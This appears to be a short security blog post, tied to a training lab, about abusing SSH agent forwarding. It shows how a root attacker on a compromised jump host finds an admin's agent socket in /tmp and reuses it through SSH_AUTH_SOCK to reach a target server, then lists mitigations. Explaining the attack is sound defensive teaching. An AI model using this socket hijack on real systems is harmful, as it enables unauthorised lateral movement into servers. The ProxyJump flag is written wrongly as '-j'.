SSH Agent : Double Edge Sword

Recently, I encountered a very interesting technique to perform lateral movement in Linux boxes—via SSH Agent. It is primarily used for SSH key management by storing keys, enabling seamless remote access without password entries. We have included this scenario in the CyberWarFare Labs lab cyber ranges to demonstrate how attackers can abuse SSH Agent forwarding and how to mitigate it effectively.

SSH Agents are useful in case scenarios when :

1. Jumpservers in place. Admin use JumpServers to connect to the critical servers.

[SSH Agent Use Case] : Let's understand the SSH Agent use case based on the following scenario :

#Using SSH Agent for Authentication : 

[Admin's Machine] --(ssh -A)--> [Jump Host] --(ssh)--> [Target Server]
       |      
(configures)                         
       |                               
[ssh-agent]               

Step 1 : Admin Configures the SSH Agent locally:

#Admin Machine

# Start ssh-agent in the current session
eval $(ssh-agent)

# Add target-server private key to ssh-agent
ssh-add ~/.ssh/id_rsa        

This launches ssh-agent and loads the private SSH key into memory.

Step 2 : Admin connects to the jump host with Agent Forwarding (-A) Technique:

#Admin Machine

#The -A switch forwards Admin SSH authentication agent to the remote machine (jump host).

ssh -A user@jumphost        

This forwards the SSH-Agent socket to the jump host. What this means is that the private key never leaves the Admin machine, but authentication requests can be forwarded.

Step 3 : Admin now access Target server from the jump host :

#Jump-Host

ssh target_user@target_server        

Since the agent is forwarded, the target server authenticates using the key stored in the SSH-Agent running on Admin local machine (instead of needing the private key on the jump host).

[Attack Simulation] Now, let's assume a scenario when the "Jump Host" is compromised.

[Admin's Machine] --(ssh -A)--> [Jump Host] --(ssh)--> [Target Server]
       |                                                          |
(configures)                                             |
       |                                                          |
[ssh-agent]                                 [Potential Attacker]        

Attack Pre-requisites :

• Attacker have compromised the Jump-Server with root privileges.
• Active Admin session from the Jump-Box to the Target-Server 1 via SSH-Agent.

Let's decode the attack scenario in steps.

Step 1 : Admin configures the SSH-Agent

#Admin Machine

eval $(ssh-agent)  # Start ssh-agent
ssh-add ~/.ssh/id_rsa  # Add private key to ssh-agent        

Step 2 : Admin connects to Jump Host with -A (Agent Forwarding)

#Admin Machine

ssh -A victim@jumphost        

NOTE : SSH-Agent is now forwarded to the jump host.

Step 3 : Attacker: Exploit SSH-Agent on Compromised Jump Host

The attacker (who has compromised the jump host) runs the following command to see available SSH authentication sockets:

#Jump-Host

ls -l /tmp/ | grep agent

srwxr-xr-x 1 victim user 0 March 3 10:00 agent.12345        

This means the Admin’s SSH-Agent socket is active.

Step 4 : Attacker : Hijack the Admin's Agent to Access the Target Server

#Jump-Host

SSH_AUTH_SOCK=/tmp/agent.12345 ssh target_user@target_server        

NOTE : Target server accepts the connection because the Admin Machine Public Key is present at the "~/.ssh/authorized_keys" file

BOOM! The attacker gets access to the target servers without needing the private keys.

Mitigations :

• Disable Agent Forwarding on critical remote servers
• Use Proxyjump (-j ) instead of Agent Forwarding (-A)